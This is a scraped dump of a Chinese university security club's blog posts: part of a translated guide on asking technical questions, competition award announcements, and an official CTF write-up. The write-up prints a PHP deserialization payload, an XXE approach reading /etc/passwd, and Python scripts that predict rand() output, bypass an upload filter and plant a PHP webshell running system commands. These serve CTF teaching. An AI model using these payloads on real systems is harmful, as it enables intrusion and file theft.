对于有深度的问题,张贴调试记录的摘要是有帮助的。描述问题的最终状态,说明是什么解决了问题,在此之后才指明可以避免的盲点。避免盲点的部分应放在正确的解决方案和其它总结材料之后,而不要将此信息搞成侦探推理小说。列出那些帮助过你的名字,会让你交到更多朋友。 除了有礼貌和有内涵以外,这种类型的补充也有助于他人在邮件列表/新闻群组/论坛中搜索到真正解决你问题的方案,让他们也从中受益。 至少,这种补充有助于让每位参与协助的人因问题的解决而从中得到满足感。如果你自己不是技术专家或者黑客,那就相信我们,这种感觉对于那些你向他们求助的大师或者专家而言,是非常重要的。问题悬而未决会让人灰心;黑客们渴望看到问题被解决。好人有好报,满足他们的渴望,你会在下次提问时尝到甜头。 思考一下怎样才能避免他人将来也遇到类似的问题,自问写一份文件或加个常见问题(FAQ)会不会有帮助。如果是的话就将它们发给维护者。 在黑客中,这种良好的后继行动实际上比传统的礼节更为重要,也是你如何透过善待他人而赢得声誉的方式,这是非常有价值的资产。 如何解读答案 RTFM 和 STFW:如何知道你已完全搞砸了 有一个古老而神圣的传统:如果你收到RTFM(Read The Fucking Manual)的回应,回答者认为你应该去读他妈的手册。当然,基本上他是对的,你应该去读一读。 RTFM 有一个年轻的亲戚。如果你收到STFW(Search The Fucking Web)的回应,回答者认为你应该到他妈的网上搜索。那人多半也是对的,去搜索一下吧。(更温和一点的说法是 Google 是你的朋友!) 在论坛,你也可能被要求去爬爬论坛的旧文。事实上,有人甚至可能热心地为你提供以前解决此问题的讨论串。但不要依赖这种关照,提问前应该先搜索一下旧文。 通常,用这两句之一回答你的人会给你一份包含你需要内容的手册或者一个网址,而且他们打这些字的时候也正在读着。这些答复意味着回答者认为: 你需要的信息非常容易获得; 你自己去搜索这些信息比灌给你,能让你学到更多。 你不应该因此不爽;依照黑客的标准,他已经表示了对你一定程度的关注,而没有对你的要求视而不见。你应该对他祖母般的慈祥表示感谢。 如果还是搞不懂 如果你看不懂回应,别立刻要求对方解释。像你以前试着自己解决问题时那样(利用手册,FAQ,网络,身边的高手),先试着去搞懂他的回应。如果你真的需要对方解释,记得表现出你已经从中学到了点什么。 比方说,如果我回答你:看来似乎是 zentry 卡住了;你应该先清除它。,然后,这是一个很糟的后续问题回应:zentry 是什么? 好的问法应该是这样:哦~~~我看过说明了但是只有 -z 和 -p 两个参数中提到了 zentries,而且还都没有清楚的解释如何清除它。你是指这两个中的哪一个吗?还是我看漏了什么? 处理无礼的回应 很多黑客圈子中看似无礼的行为并不是存心冒犯。相反,它是直截了当,一针见血式的交流风格,这种风格更注重解决问题,而不是使人感觉舒服而却模模糊糊。 如果你觉得被冒犯了,试着平静地反应。如果有人真的做了出格的事,邮件列表、新闻群组或论坛中的前辈多半会招呼他。如果这没有发生而你却发火了,那么你发火对象的言语可能在黑客社区中看起来是正常的,而你将被视为有错的一方,这将伤害到你获取信息或帮助的机会。 另一方面,你偶尔真的会碰到无礼和无聊的言行。与上述相反,对真正的冒犯者狠狠地打击,用犀利的语言将其驳得体无完肤都是可以接受的。然而,在行事之前一定要非常非常的有根据。纠正无礼的言论与开始一场毫无意义的口水战仅一线之隔,黑客们自己莽撞地越线的情况并不鲜见。如果你是新手或外人,避开这种莽撞的机会并不高。如果你想得到的是信息而不是消磨时光,这时最好不要把手放在键盘上以免冒险。 (有些人断言很多黑客都有轻度的自闭症或亚斯伯格综合症,缺少用于润滑人类社会正常交往所需的神经。这既可能是真也可能是假的。如果你自己不是黑客,兴许你认为我们脑袋有问题还能帮助你应付我们的古怪行为。只管这么干好了,我们不在乎。我们喜欢我们现在这个样子,并且通常对病患标记都有站得住脚的怀疑。) Jeff Bigler 的观察总结和这个相关也值得一读 (tact filters)。 在下一节,我们会谈到另一个问题,当你行为不当时所会受到的冒犯。 如何避免扮演失败者 在黑客社区的论坛中,你以本指南所描述的或类似的方式,可能会有那么几次搞砸了。而你会在公开场合中被告知你是如何搞砸的,也许攻击的言语中还会带点夹七夹八的颜色。 这种事发生以后,你能做的最糟糕的事莫过于哀嚎你的遭遇、宣称被言语攻击、要求道歉、高声尖叫、憋闷气、威胁诉诸法律、向其雇主报怨、不去关马桶盖等等。相反地,你该这么做: 熬过去,这很正常。事实上,它是有益健康且合理的。 社区的标准不会自行维持,它们是通过参与者积极而公开地执行来维持的。不要哭嚎所有的批评都应该通过私下的邮件传送,它不是这样运作的。当有人评论你的一个说法有误或者提出不同看法时,坚持声称受到个人攻击也毫无益处,这些都是失败者的态度。 也有其它的黑客论坛,受过高礼节要求的误导,禁止参与者张贴任何对别人帖子挑毛病的消息,并声称如果你不想帮助用户就闭嘴。 结果造成有想法的参与者纷纷离开,这么做只会使它们沦为毫无意义的唠叨与无用的技术论坛。 夸张的讲法是:你要的是“友善”(以上述方式)还是有用?两个里面挑一个。 记着:当黑客说你搞砸了,并且(无论多么刺耳)告诉你别再这样做时,他正在为关心你和他的社区而行动。对他而言,不理你并将你从他的生活中滤掉更简单。如果你无法做到感谢,至少要表现得有点尊严,别大声哀嚎,也别因为自己是个有戏剧性超级敏感的灵魂和自以为有资格的新来者,就指望别人像对待脆弱的洋娃娃那样对你。 有时候,即使你没有搞砸(或者只是在他的想像中你搞砸了),有些人也会无缘无故地攻击你本人。在这种情况下,抱怨倒是真的会把问题搞砸。 这些来找麻烦的人要么是毫无办法但自以为是专家的不中用家伙,要么就是测试你是否真会搞砸的心理专家。其它读者要么不理睬,要么用自己的方式对付他们。这些来找麻烦的人在给他们自己找麻烦,这点你不用操心。 也别让自己卷入口水战,最好不要理睬大多数的口水战 —— 当然,这是在你检验它们只是口水战,并且未指出你有搞砸的地方,同时也没有巧妙地将问题真正的答案藏于其后(这也是有可能的)。 不该问的问题 以下是几个经典蠢问题,以及黑客没回答时心中所想的: 问题:我能在哪找到 X 程序或 X 资源? 问题:我怎样用 X 做 Y? 问题:如何设定我的 shell 提示? 问题:我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 文件转换为 TeX 格式吗? 问题:我的程序/设定/SQL 语句没有用 问题:我的 Windows 电脑有问题,你能帮我吗? 问题:我的程序不会动了,我认为系统工具 X 有问题 问题:我在安装 Linux(或者 X )时有问题,你能帮我吗? 问题:我怎么才能破解 root 帐号/窃取 OP 特权/读别人的邮件呢? 问题:我能在哪找到 X 程序或 X 资源? 回答:就在我找到它的地方啊,白痴 —— 搜索引擎的那一头。天哪!难道还有人不会用 Google 吗? 问题:我怎样用 X 做 Y? 回答:如果你想解决的是 Y ,提问时别给出可能并不恰当的方法。这种问题说明提问者不但对 X 完全无知,也对 Y 要解决的问题糊涂,还被特定形势禁锢了思维。最好忽略这种人,等他们把问题搞清楚了再说。 问题:如何设定我的 shell 提示?? 回答:如果你有足够的智慧提这个问题,你也该有足够的智慧去 RTFM,然后自己去找出来。 问题:我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 文件转换为 TeX 格式吗? 回答:试试看就知道了。如果你试过,你就知道了答案,就不用浪费我的时间了。 问题:我的{程序/设定/SQL 语句}没有用 回答:这不算是问题吧,我对要我问你二十个问题才找得出你真正问题的问题没兴趣 —— 我有更有意思的事要做呢。在看到这类问题的时候,我的反应通常不外如下三种 你还有什么要补充的吗? 真糟糕,希望你能搞定。 这关我屁事? 问题:我的 Windows 电脑有问题,你能帮我吗? 回答:能啊,扔掉微软的垃圾,换个像 Linux 或 BSD 的开源操作系统吧。 注意:如果程序有官方版 Windows 或者与 Windows 有互动(如 Samba),你可以问与 Windows 相关的问题,只是别对问题是由 Windows 操作系统而不是程序本身造成的回复感到惊讶, 因为 Windows 一般来说实在太烂,这种说法通常都是对的。 问题:我的程序不会动了,我认为系统工具 X 有问题 回答:你完全有可能是第一个注意到被成千上万用户反复使用的系统调用与函数库文件有明显缺陷的人,更有可能的是你完全没有根据。不同凡响的说法需要不同凡响的证据,当你这样声称时,你必须有清楚而详尽的缺陷说明文件作后盾。 问题:我在安装 Linux(或者 X )时有问题,你能帮我吗? 回答:不能,我只有亲自在你的电脑上动手才能找到毛病。还是去找你当地的 Linux 使用群组者寻求实际的指导吧(你能在这儿找到用户群组的清单)。 注意:如果安装问题与某 Linux 的发行版有关,在它的邮件列表、论坛或本地用户群组中提问也许是恰当的。此时,应描述问题的准确细节。在此之前,先用 Linux 和所有被怀疑的硬件作关键词仔细搜索。 问题:我怎么才能破解 root 帐号/窃取 OP 特权/读别人的邮件呢? 回答:想要这样做,说明了你是个卑鄙小人;想找个黑客帮你,说明你是个白痴! 好问题与蠢问题 最后,我将透过举一些例子,来说明怎样聪明的提问;同一个问题的两种问法被放在一起,一种是愚蠢的,另一种才是明智的。 蠢问题: 我可以在哪儿找到关于 Foonly Flurbamatic 的资料? 这种问法无非想得到 STFW 这样的回答。 聪明问题: 我用 Google 搜索过 “Foonly Flurbamatic 2600”,但是没找到有用的结果。谁知道上哪儿去找对这种设备编程的资料? 这个问题已经 STFW 过了,看起来他真的遇到了麻烦。 蠢问题: 我从 foo 项目找来的源码没法编译。它怎么这么烂? 他觉得都是别人的错,这个傲慢自大的提问者。 聪明问题: foo 项目代码在 Nulix 6.2 版下无法编译通过。我读过了 FAQ,但里面没有提到跟 Nulix 有关的问题。这是我编译过程的记录,我有什么做的不对的地方吗? 提问者已经指明了环境,也读过了 FAQ,还列出了错误,并且他没有把问题的责任推到别人头上,他的问题值得被关注。 蠢问题: 我的主机板有问题了,谁来帮我? 某黑客对这类问题的回答通常是:好的,还要帮你拍拍背和换尿布吗?,然后按下删除键。 聪明问题: 我在 S2464 主机板上试过了 X 、 Y 和 Z ,但没什么作用,我又试了 A 、 B 和 C 。请注意当我尝试 C 时的奇怪现象。显然 florbish 正在 grommicking,但结果出人意料。通常在 Athlon MP 主机板上引起 grommicking 的原因是什么?有谁知道接下来我该做些什么测试才能找出问题? 这个家伙,从另一个角度来看,值得去回答他。他表现出了解决问题的能力,而不是坐等天上掉答案。 在最后一个问题中,注意告诉我答案和给我启示,指出我还应该做什么诊断工作之间微妙而又重要的区别。 事实上,后一个问题源自于 2001 年 8 月在 Linux 内核邮件列表(lkml)上的一个真实的提问。我(Eric)就是那个提出问题的人。我在 Tyan S2464 主板上观察到了这种无法解释的锁定现象,列表成员们提供了解决这一问题的重要信息。 通过我的提问方法,我给了别人可以咀嚼玩味的东西;我设法让人们很容易参与并且被吸引进来。我显示了自己具备和他们同等的能力,并邀请他们与我共同探讨。通过告诉他们我所走过的弯路,以避免他们再浪费时间,我也表明了对他们宝贵时间的尊重。 事后,当我向每个人表示感谢,并且赞赏这次良好的讨论经历的时候,一个 Linux 内核邮件列表的成员表示,他觉得我的问题得到解决并非由于我是这个列表中的名人,而是因为我用了正确的方式来提问。 黑客从某种角度来说是拥有丰富知识但缺乏人情味的家伙;我相信他是对的,如果我像个乞讨者那样提问,不论我是谁,一定会惹恼某些人或者被他们忽视。他建议我记下这件事,这直接导致了本指南的出现。 如果得不到回答 如果仍得不到回答,请不要以为我们觉得无法帮助你。有时只是看到你问题的人不知道答案罢了。没有回应不代表你被忽视,虽然不可否认这种差别很难区分。 总的来说,简单地重复张贴问题是个很糟的点子。这将被视为无意义的喧闹。有点耐心,知道你问题答案的人可能生活在不同的时区,可能正在睡觉,也有可能你的问题一开始就没有组织好。 你可以通过其他渠道获得帮助,这些渠道通常更适合初学者的需要。 有许多网上的以及本地的用户群组,由热情的软件爱好者(即使他们可能从没亲自写过任何软件)组成。通常人们组建这样的团体来互相帮助并帮助新手。 另外,你可以向很多商业公司寻求帮助,不论公司大还是小。别为要付费才能获得帮助而感到沮丧!毕竟,假使你的汽车发动机汽缸密封圈爆掉了 —— 完全可能如此 —— 你还得把它送到修车铺,并且为维修付费。就算软件没花费你一分钱,你也不能强求技术支持总是免费的。 对像是 Linux 这种大众化的软件,每个开发者至少会对应到上万名用户。根本不可能由一个人来处理来自上万名用户的求助电话。要知道,即使你要为这些协助付费,和你所购买的同类软件相比,你所付出的也是微不足道的(通常封闭源代码软件的技术支持费用比开源软件的要高得多,且内容也没那么丰富)。 如何更好地回答问题 态度和善一点。 问题带来的压力常使人显得无礼或愚蠢,其实并不是这样。 对初犯者私下回复。 对那些坦诚犯错之人没有必要当众羞辱,一个真正的新手也许连怎么搜索或在哪找常见问题都不知道。 如果你不确定,一定要说出来! 一个听起来权威的错误回复比没有还要糟,别因为听起来像个专家很好玩,就给别人乱指路。要谦虚和诚实,给提问者与同行都树个好榜样。 如果帮不了忙,也别妨碍他。 不要在实际步骤上开玩笑,那样也许会毁了提问者的设置 —— 有些可怜的呆瓜会把它当成真的指令。 试探性的反问以引出更多的细节。 如果你做得好,提问者可以学到点东西 —— 你也可以。试试将蠢问题转变成好问题,别忘了我们都曾是新手。 尽管对那些懒虫抱怨一声 RTFM 是正当的,但能给出文档的链接(即使只是建议个 Google 搜索关键词)会更好。 如果你决定回答,就请给出好的答案。 当别人正在用错误的工具或方法时别建议笨拙的权宜之计(workaround),应推荐更好的工具,重新界定问题。 正面地回答问题! 如果这个提问者已经很深入的研究而且也表明已经试过 X 、 Y 、 Z 、 A 、 B 、 C 但没得到结果,回答 试试看 A 或是 B 或者 试试 X 、 Y 、 Z 、 A 、 B 、 C 并附上一个链接一点用都没有。 帮助你的社区从问题中学习。 当回复一个好问题时,问问自己如何修改相关文件或常见问题文件以免再次解答同样的问题?,接着再向文件维护者发一份补丁。 如果你在研究一番后才作出了回答,展现你的技巧而不是直接端出结果。毕竟授人以鱼不如授人以渔。 相关资源 如果你需要个人电脑、Unix 系统和网络如何运作的基础知识,参阅 Unix 系统和网络基本原理。 当你发布软件或补丁时,试着按软件发布实践操作。 鸣谢 Evelyn Mitchel 贡献了一些愚蠢问题例子并启发了编写如何更好地回答问题这一节, Mikhail Ramendik 贡献了一些特别有价值的建议和改进。 转自GitHub:提问的智慧","categories":[],"tags":[{"name":"提问的智慧","slug":"提问的智慧","permalink":"https://www.xmutsec.cn/tags/%E6%8F%90%E9%97%AE%E7%9A%84%E6%99%BA%E6%85%A7/"}]},{"title":"“百越杯”第四届福建省高校网络空间安全大赛 一等奖","slug":"b6adcea6-60ce-4f44-9389-2a06d34125d8","date":"2018-12-28T09:06:46.000Z","updated":"2024-01-22T18:20:02.963Z","comments":false,"path":"2018/12/28/b6adcea6-60ce-4f44-9389-2a06d34125d8/","permalink":"https://www.xmutsec.cn/2018/12/28/b6adcea6-60ce-4f44-9389-2a06d34125d8/","excerpt":"","text":"为贯彻落实中央网信办等六部门《关于加强网络安全学科建设和人才培养的意见》(中网办发文〔2016〕4号)精神,加快高校网络安全学科专业建设,创新网络安全人才培养机制,省教育厅、省网安办决定联合举办第三届“福建省高校网络空间安全大赛”。 本协会派出的CodeMonster战队全省第二夺得二等奖。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"2018 信息安全铁人三项赛全国总决赛 二等奖","slug":"07cb34d3-7c51-43af-bfb2-84425b34c8f4","date":"2018-12-07T09:06:00.000Z","updated":"2024-01-22T18:20:02.947Z","comments":false,"path":"2018/12/07/07cb34d3-7c51-43af-bfb2-84425b34c8f4/","permalink":"https://www.xmutsec.cn/2018/12/07/07cb34d3-7c51-43af-bfb2-84425b34c8f4/","excerpt":"","text":"网络安全人才培养又有了新动向。12月7日,2017-2018全国高校信息安全铁人三项总决赛在北京航空航天大学盛大开幕,来自全国57所高校的网络安全实战赛队在“数据赛、企业赛、个人赛“三个方向比赛中一决高下,为全国网络安全市场提供了新一批高端人才。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"举办第二届厦门理工“国科-i春秋杯”网络信息安全大赛","slug":"ab21d401-10e1-4021-9936-e7154fd9ed71","date":"2018-11-11T09:04:20.000Z","updated":"2024-01-22T18:20:02.963Z","comments":false,"path":"2018/11/11/ab21d401-10e1-4021-9936-e7154fd9ed71/","permalink":"https://www.xmutsec.cn/2018/11/11/ab21d401-10e1-4021-9936-e7154fd9ed71/","excerpt":"","text":"为帮助学生更好地感知、了解身边的网络安全风险,增强网络安全意识,普及网络安全知识,提高网络安全防护技能,厦门理工学院计算机与信息工程学院特此举办“国科-i春秋杯”第二届网络信息安全大赛,以此掀起学生“共建网络信息安全、共享网络文明学校”的热潮。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"2018 第十一届全国大学生信息安全大赛 三等奖(华东南赛区第4名)","slug":"9806f2d8-b4ad-48d3-ad34-5481b1e8e35b","date":"2018-06-09T09:03:14.000Z","updated":"2024-01-22T18:20:02.963Z","comments":false,"path":"2018/06/09/9806f2d8-b4ad-48d3-ad34-5481b1e8e35b/","permalink":"https://www.xmutsec.cn/2018/06/09/9806f2d8-b4ad-48d3-ad34-5481b1e8e35b/","excerpt":"","text":"自己去看吧 http://www.ciscn.cn/home","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"2018 信息安全铁人三项赛福建赛区 一等奖(第2名)","slug":"bb168e48-791c-4a1d-83c4-335b9db12499","date":"2018-05-11T09:02:25.000Z","updated":"2024-01-22T18:20:02.963Z","comments":false,"path":"2018/05/11/bb168e48-791c-4a1d-83c4-335b9db12499/","permalink":"https://www.xmutsec.cn/2018/05/11/bb168e48-791c-4a1d-83c4-335b9db12499/","excerpt":"","text":"2018年5月11日,由教育部学校规划建设发展中心、中国信息安全测评中心主办,教育部高等学校信息安全专业教学指导委员会协办,中国信息产业商会信息安全产业分会、北京西普阳光教育科技股份有限公司、福州大学承办的2017-2018全国高校“西普杯”信息安全铁人三项赛第七分区赛在福州大学拉开帷幕,有来自福建共计21所高校近100名学生同场竞技。经过一天的精彩角逐,福建农林大学力克群雄,夺得第七赛区冠军,厦门理工学院、闽南师范大学分别获得亚军和季军。","categories":[],"tags":[]},{"title":"2018 安恒“西湖论剑杯”全国大学生网络空间安全技能大赛 个人赛三等奖","slug":"86e69101-77f4-484a-ba0e-2957afabbdb6","date":"2018-04-26T09:01:21.000Z","updated":"2024-01-22T18:20:02.963Z","comments":false,"path":"2018/04/26/86e69101-77f4-484a-ba0e-2957afabbdb6/","permalink":"https://www.xmutsec.cn/2018/04/26/86e69101-77f4-484a-ba0e-2957afabbdb6/","excerpt":"","text":"由国家互联网信息办公室网络安全协调局、公安部网络安全保卫局指导,浙江省互联网信息办公室、浙江省公安厅、杭州市人民政府主办,杭州市经济和信息化委员会、杭州市萧山区人民政府、杭州安恒信息技术股份有限公司承办,杭州市滨江区人民政府、中国信息安全测评中心、国家工业信息安全发展研究中心、国家计算机网络应急技术处理协调中心、阿里云计算有限公司、杭州海康威视数字技术股份有限公司、浙江大华技术股份有限公司联合承办的西湖论剑•网络安全大会定档今年4月27日,西湖论剑杯全国大学生网络空间安全技能大赛 作为本次论坛中最受瞩目的部分之一,也将于4月26日开启。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"举办2018MOCTF新春欢乐赛","slug":"a73c51fc-04d5-4aa7-bcdc-c22aa7b67512","date":"2018-02-13T09:00:04.000Z","updated":"2024-01-22T18:20:02.963Z","comments":false,"path":"2018/02/13/a73c51fc-04d5-4aa7-bcdc-c22aa7b67512/","permalink":"https://www.xmutsec.cn/2018/02/13/a73c51fc-04d5-4aa7-bcdc-c22aa7b67512/","excerpt":"","text":"从放假到现在筹办准备了接近两个星期的MOCTF新春欢乐赛终于落幕啦,这次比赛我一共出了1签到+1MISC+3WEB,下面先放官方WriteUp(哇终于能当一回官方了) 签到 签到 20 12支付宝今年集齐五福能一起平分多少钱?flag格式:moctf{数字} flag:moctf{500000000} MISC 空word 100 1真的什么都没有吗 文件是个word 打开看发现一些奇怪的换行和tab 很容易想到是摩斯密码,替换后得到 1-.... -.. -.... ..-. -.... ...-- --... ....- -.... -.... --... -... ....- ..--- -.... -.-. ...-- ....- -.... . -.... -... ..... ..-. ...-- ----- --... ..--- ..... ..-. --... ....- -.... .---- -.... ..--- ...-- ..-. --... -.. 解摩斯密码,然后hex转字符串得到flag WEB 登录一哈 300 12登录一下,你就知道。http://111.230.32.124:6001/ 源码放到git里泄露给大家了 index.php 1234567891011121314<?php ini_set('session.serialize_handler', 'php_binary'); session_start(); if(isset($_POST['username']) && isset($_POST['password'])){ $username = $_POST['username']; $password = $_POST['password']; $_SESSION["username"] = $username; header("Location:./index.php"); } else if(isset($_SESSION["username"])){ echo '<h1>hello '.$_SESSION["username"].'</h1>'; } else ... flag.php 123456789101112<?phpsession_start();class MOCTF{ public $flag; public $name; function __destruct(){ $this->flag = "moctf{xxxxxxxxxxxxxxxx}"; if($this->flag == $this->name){ echo "Wow,this is flag:".$this->flag; } }} 看源码就可以知道这道题考查的是session反序列漏洞了 在index.php中php的序列化handler是’php_binary’,而flag.php里没有设置,就是默认的’php’ 1ini_set('session.serialize_handler', 'php_binary'); 参考https://blog.spoock.com/2016/10/16/php-serialize-problem/ index.php中的$_session['username']可控,我们就能构造payload到session, 然后访问flag.php页面就能触发反序列化执行__destruct了, 这里还有个考点是$this->flag == $this->name,通过引用的方式绕过。 构造payload 123$a = new MOCTF();$a->name = &$a->flag;echo '|'.serialize($a); 1|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;} 提交到index.php的username,然后访问flag.php就得到flag了 字符串检查 400 12来检查一下你的字符串是否格式良好吧!http://111.230.32.124:6002/ 原意是xxe漏洞读取任意文件 后来知道师傅们卡了很久貌似是因为client-ip的原因,我的锅 题目打开是个json字符串验证的页面,POST包的Content-Type字段是application/json, POST后接口会返回json格式正确或错误的结果 改成application/xml,接口提示只允许本机访问,于是构造 1client-ip:localhost 然后就是xxe盲打漏洞了,参考https://security.tencent.com/index.php/blog/msg/69 这里我只限制了payload长度为170以内,其实完全可以更短的,希望大佬们可以测试测试 最后flag在/etc/passwd 简单审计 400 12代码都给你了,还说不会做?http://120.78.57.208:6005/ index.php 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566<?phperror_reporting(0);include('config.php');header("Content-type:text/html;charset=utf-8");function get_rand_code($l = 6) { $result = ''; while($l--) { $result .= chr(rand(ord('a'), ord('z'))); } return $result;}function test_rand_code() { $ip=$_SERVER['REMOTE_ADDR']; $code=get_rand_code(); $socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); @socket_connect($socket, $ip, 8888); @socket_write($socket, $code.PHP_EOL); @socket_close($socket); die('test ok!');}function upload($filename, $content,$savepath) { $AllowedExt = array('bmp','gif','jpeg','jpg','png'); if(!is_array($filename)) { $filename = explode('.', $filename); } if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){ die('error ext!'); } $code=get_rand_code(); $finalname=$filename[0].'moctf'.$code.".".end($filename); file_put_contents("$savepath".$finalname, $content); usleep(3000000); unlink("$savepath".$finalname); die('upload over!');}$savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";if(!is_dir($savepath)){ $oldmask = umask(0); mkdir($savepath, 0777); umask($oldmask);}if(isset($_GET['action'])){ $act=$_GET['action']; if($act==='upload') { $filename=$_POST['filename']; if(!is_array($filename)) { $filename = explode('.', $filename); } $content=$_POST['content']; waf($content); upload($filename,$content,$savepath); } else if($act==='test') { test_rand_code(); }}else { highlight_file('index.php');}?> 解释一下题目的意思 根据action执行对应操作,action=test会调用test_rand_code函数发送tcp包到访客的ip action=upload时会写入一个文件,文件内容有waf拦截,文件名有白名单限制后缀, 然后拼接文件名加入rand的字符串,写入文件,文件写入后过3秒unlink删除 有问题的点有这几个 1.filename检查是用$filename[count($filename)-1]取的后缀,是按照下标取的,而写入文件时用的是end($filename),是取最后一个元素,只要post时提交filename[1]=jpg&filename[0]=php就能绕过了 2.$content的waf绕过, 绕过即可 3.使用rand()生成随机数,可以被预测,参考https://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/ 预期解法是 1.username数组bypass后缀检查,绕过content的waf 2.rand随机数预测+爆破文件名 在unlink之前访问shell 结果大佬们直接非预期解bypass了unlink打扰了 非预期解参考一叶飘零师傅的WriteUp 预期解如下 写两个脚本, listen.py 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990#监听8888端口,接受6个`get_rand_code`的结果,然后预测接下来一次`get_rand_code`的结果,这里可能不会很准确,#所以需要小幅度爆破,复杂度大概为3^6,反正就跑着呗#!/usr/bin/env python#-*- coding:utf-8 -*-#by xishirimport requests as reqimport refrom socket import * from time import ctime import randomimport itertools as itsimport hashlibr=req.session()url="http://120.78.57.208:6005/"def get_rand_list(): HOST = '' PORT = 8888 BUFSIZ = 128 ADDR = (HOST, PORT) tcpSerSock = socket(AF_INET, SOCK_STREAM) tcpSerSock.bind(ADDR) tcpSerSock.listen(5) rand_num=0 l=[] while True: tcpCliSock, addr = tcpSerSock.accept() while True: data = tcpCliSock.recv(BUFSIZ) if not data: break data=data[0:6] print data,l for i in data: l.append(ord(i)+1-ord('a')) rand_num+=1 if rand_num==6: break tcpCliSock.close() tcpSerSock.close() return ldef get_salt(l): salt="" for i in range(6): j=len(l) r=(l[j-3]+l[j-31])-1 if r>26: r-=26 #print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1) l.append(r) salt+=chr(r+ord('a')-1) #print salt return saltdef get_flag(salt): s=hashlib.sha1('119.23.73.3').hexdigest() url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php' data={"a":"system('cat ../../flag.php');echo '666666';"} r2=r.post(url1,data=data) print salt if '404' not in r2.text: print r2.textget_flag('aaaaaa')l=get_rand_list()salt=get_salt(l)s=0for i in range(100000): s=s+1print swords = "10"o=its.product(words,repeat=6)for i in o: s="".join(i) salt2="" for j in range(6): salt2+=chr(ord(salt[j])-int(s[j])) get_flag(salt2)words = "10"o=its.product(words,repeat=6)for i in o: s="".join(i) salt2="" for j in range(6): salt2+=chr(ord(salt[j])+int(s[j])) get_flag(salt2) put.py 1234567891011121314151617181920212223242526272829303132#通过`?action=test`调用`test_rand_code`函数发送6次`get_rand_code`结果,一共36个字符,#然后提交一个构造好的`?action=test`,上传shell到服务器,在被删除之前就会被listen爆破得到,没爆破到就多爆破几次#!/usr/bin/env python#-*- coding:utf-8 -*-#by xishirimport requests as reqimport rer=req.session()url="http://120.78.57.208:6005/?action="def get_test(): url2=url+"test" r1=r.get(url2) print url2 print r1.textdef upload(): data={"filename[4]":"jpg", "filename[2]":"jpg", "filename[1]":"php", "content":"<script language='php'>assert($_POST[a]);</script>", "a":"system('cat ../../flag.php');" } url1=url+"upload" r2=r.post(url1,data=data) print r2.textfor i in range(6): get_test()upload() 运行结果如下 感想 讲一下这次比赛我主要干了那些事吧 出题,如上所述 平台搭建,用的是ctfd,docker的方式搭建的,省了很多事 题目部署,除了ping那题,其他的web都是我部署的,尤其是cms那题,反复部署的有点吐,中间有个集大学弟来帮忙,后面比赛的时候还是出了问题 发布题目,emmmmmmmmmm,用ctfd的时候出现了很神奇的情况,在编辑config的时候使用谷歌的自动翻译,保存之后ctfd的web服务就挂掉啦!是个巨坑,现在还不知道咋回事 比赛时候的放题,放hint,运维,水群,哈哈哈哈和大佬们玩耍还是很开心的 放一些后台数据 原来只是想给我们学校和集大的学弟们体验比赛的,不过对外开放也吸引了许多师傅们来做题,虽然运维得很累,但也学到了很多东西(主要是非预期和部署各种奇葩环境) 打一波广告,http://www.moctf.com/ MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。题目形式与各大CTF比赛相同。目的是为两个学校中热爱信息安全的同学们提供一个刷题的平台,能够一起学习、进步。 最后祝大家新年快乐!","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"},{"name":"Writeup","slug":"Writeup","permalink":"https://www.xmutsec.cn/tags/Writeup/"}]},{"title":"360第二届48小时黑客马拉松破解大奖赛第四名","slug":"6d1aa499-57ee-401b-a911-8062c6cae869","date":"2017-11-25T08:58:00.000Z","updated":"2024-01-22T18:20:02.947Z","comments":false,"path":"2017/11/25/6d1aa499-57ee-401b-a911-8062c6cae869/","permalink":"https://www.xmutsec.cn/2017/11/25/6d1aa499-57ee-401b-a911-8062c6cae869/","excerpt":"","text":"北京时间11月23日,第二届48小时黑客马拉松破解大奖赛于福州正式开战。作为一项对产品安全严格要求、向黑客精神极致追逐、给予参赛选手高额奖励的黑客赛事,本届黑客马拉松吸引了来自全国近10支学生黑客战队参赛,其中包括来自台湾地区的BambooFox和TDOH两支战队。 48小时黑客马拉松破解大奖赛由360安全应急响应中心主办的面向360公司IoT设备的漏洞奖励赛事,设置了36万人民币奖金池,单个漏洞奖励最高可达5万元。 1少年郎剑试天下 黑客马拉松概念源自美国,当一群高手云集一堂,互相沟通和学习,这就成了”世界上最酷的技术狂欢”。黑客马拉松破解赛采用了48小时极限漏洞挖掘和破解目标随机选定的赛制,参赛选手需要在比赛期间连续不中断地对特定产品进行漏洞挖掘,每队只配备一间休息室以供选手“回血”。在这样短的时间内寻找由安全人员反复把关的产品漏洞,并非易事。不过,没有绝对安全的系统,我们也在期待着他们的精彩表现,为提升360产品安全性而大展身手! 1黑不是目的,安全才是王道 